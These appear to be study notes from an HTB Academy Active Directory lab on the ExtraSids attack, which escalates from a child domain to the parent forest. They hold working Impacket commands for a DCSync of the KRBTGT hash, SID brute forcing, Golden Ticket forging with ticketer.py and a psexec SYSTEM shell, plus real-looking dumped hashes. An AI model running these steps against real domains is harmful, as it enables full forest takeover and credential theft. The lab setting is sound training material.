ExtraSids from linux
This attack allows for the compromise of a parent domain once the child domain has been compromised. Within the same AD forest, the sidHistory property is respected due to a lack of SID Filtering protection. SID Filtering is a protection put in place to filter out authentication requests from a domain in another forest across a trust. Therefore, if a user in a child domain that has their sidHistory set to the
Enterprise Admins group (which only exists in the parent domain), they are treated as a member of this group, which allows for administrative access to the entire forest. In other words, we are creating a Golden Ticket from the compromised child domain to compromise the parent domain. In this case, we will leverage the
SIDHistory to grant an account (or non-existent account) Enterprise Admin rights by modifying this attribute to contain the SID for the Enterprise Admins group, which will give us full access to the parent domain without actually being part of the group.
To perform this attack after compromising a child domain, we need the following:
- The KRBTGT hash for the child domain
- First, we need to obtain the NT hash for the KRBTGT account, which is a service account for the Key Distribution Center (KDC) in Active Directory. The account KRB (Kerberos) TGT (Ticket Granting Ticket) is used to encrypt/sign all Kerberos tickets granted within a given domain. Domain controllers use the account's password to decrypt and validate Kerberos tickets. The KRBTGT account can be used to create Kerberos TGT tickets that can be used to request TGS tickets for any service on any host in the domain. This is also known as the Golden Ticket attack and is a well-known persistence mechanism for attackers in Active Directory environments. The only way to invalidate a Golden Ticket is to change the password of the KRBTGT account, which should be done periodically and definitely after a penetration test assessment where full domain compromise is reached.
- The SID for the child domain
- The name of a target user in the child domain (does not need to exist!)
- The FQDN of the child domain.
- The SID of the Enterprise Admins group of the root domain.
ExtraSids Attack - way 1
Compromised the child domain, log in as a Domain Admin or similar and perform the DCSync attack to obtain the NT hash for the KRBTGT account.
1. Performing DCSync with secretsdump.py Once we have complete control of the child domain,
LOGISTICS.INLANEFREIGHT.LOCAL, we can use
secretsdump.py to DCSync and grab the NTLM hash for the KRBTGT account.
secretsdump.py firstname.lastname@example.org -just-dc-user LOGISTICS/krbtgt |<- HTB_@cademy_stdnt_admin! |-> [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f::: [*] Kerberos keys grabbed krbtgt:aes256-cts-hmac-sha1-96:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8 krbtgt:aes128-cts-hmac-sha1-96:ca289e175c372cebd18083983f88c03e krbtgt:des-cbc-md5:fee04c3d026d7538 [*] Cleaning up...
2. Performing SID Brute Forcing using lookupsid.py Next, we can use lookupsid.py from the Impacket toolkit to perform SID brute forcing to find the SID of the child domain. In this command, whatever we specify for the IP address (the IP of the domain controller in the child domain) will become the target domain for a SID lookup. The tool will give us back the SID for the domain and the RIDs for each user and group that could be used to create their SID in the format
DOMAIN_SID-RID. For example, from the output below, we can see that the SID of the
lab_adm user would be
lookupsid.py email@example.com |<- HTB_@cademy_stdnt_admin! |-> [*] Brute forcing SIDs at 172.16.5.240 [*] StringBinding ncacn_np:172.16.5.240[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-2806153819-209893948-922872689 500: LOGISTICS\Administrator (SidTypeUser) 501: LOGISTICS\Guest (SidTypeUser) 502: LOGISTICS\krbtgt (SidTypeUser) 512: LOGISTICS\Domain Admins (SidTypeGroup) 513: LOGISTICS\Domain Users (SidTypeGroup) 514: LOGISTICS\Domain Guests (SidTypeGroup) 515: LOGISTICS\Domain Computers (SidTypeGroup) 516: LOGISTICS\Domain Controllers (SidTypeGroup) 517: LOGISTICS\Cert Publishers (SidTypeAlias) 520: LOGISTICS\Group Policy Creator Owners (SidTypeGroup) 521: LOGISTICS\Read-only Domain Controllers (SidTypeGroup) 522: LOGISTICS\Cloneable Domain Controllers (SidTypeGroup) 525: LOGISTICS\Protected Users (SidTypeGroup) 526: LOGISTICS\Key Admins (SidTypeGroup) 553: LOGISTICS\RAS and IAS Servers (SidTypeAlias) 571: LOGISTICS\Allowed RODC Password Replication Group (SidTypeAlias) 572: LOGISTICS\Denied RODC Password Replication Group (SidTypeAlias) 1001: LOGISTICS\lab_adm (SidTypeUser) 1002: LOGISTICS\ACADEMY-EA-DC02$ (SidTypeUser) 1103: LOGISTICS\DnsAdmins (SidTypeAlias) 1104: LOGISTICS\DnsUpdateProxy (SidTypeGroup) 1105: LOGISTICS\INLANEFREIGHT$ (SidTypeUser) 1106: LOGISTICS\htb-student_adm (SidTypeUser)
We can filter out the noise by piping the command output to grep and looking for just the domain SID.
lookupsid.py firstname.lastname@example.org | grep "Domain SID" |<- HTB_@cademy_stdnt_admin! |-> [*] Domain SID is: S-1-5-21-2806153819-209893948-922872689
3. Grabbing the Domain SID & Attaching to Enterprise Admin's RID
Next, we can rerun the command, targeting the INLANEFREIGHT Domain Controller (DC01) at 172.16.5.5 and grab the domain
SID S-1-5-21-3842939050-3880317879-2865463114 and attach the RID of the Enterprise Admins group. Here is a handy list of well-known SIDs.
lookupsid.py email@example.com | grep -B12 "Enterprise Admins" |<- HTB_@cademy_stdnt_admin! |-> 519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)
What we have
We have gathered the following data points to construct the command for our attack. We will use the non-existent user
hacker to forge our Golden Ticket.
- The KRBTGT hash for the child domain:
- The SID for the child domain:
- The name of a target user in the child domain (does not need to exist!):
- The FQDN of the child domain:
- The SID of the Enterprise Admins group of the root domain:
Constructing a Golden Ticket using ticketer.py
Next, we can use ticketer.py from the Impacket toolkit to construct a Golden Ticket. This ticket will be valid to access resources in the child domain (specified by
-domain-sid) and the parent domain (specified by
/opt/impacket/examples/ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
The ticket will be saved down to our system as a credential cache (ccache) file, which is a file used to hold Kerberos credentials. Setting the
KRB5CCNAME environment variable tells the system to use this file for Kerberos authentication attempts.
Setting the KRB5CCNAME Environment Variable
Getting a SYSTEM shell using Impacket's psexec.py
/opt/impacket/examples/psexec.py LOGISTICS.INLANEFREIGHT.LOCALfirstname.lastname@example.org -k -no-pass -target-ip 172.16.5.5
ExtraSids Attack - way 2
Impacket also has the tool raiseChild.py, which will automate escalating from child to parent domain. We need to specify the target domain controller and credentials for an administrative user in the child domain; the script will do the rest. If we walk through the output, we see that it starts by listing out the child and parent domain's fully qualified domain names (FQDN). It then:
- Obtains the SID for the Enterprise Admins group of the parent domain
- Retrieves the hash for the KRBTGT account in the child domain
- Creates a Golden Ticket
- Logs into the parent domain
- Retrieves credentials for the Administrator account in the parent domain
Finally, if the
target-exec switch is specified, it authenticates to the parent domain's Domain Controller via Psexec.
Performing the Attack with raiseChild.py
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm |<- HTB_@cademy_stdnt_admin!
Dump all hash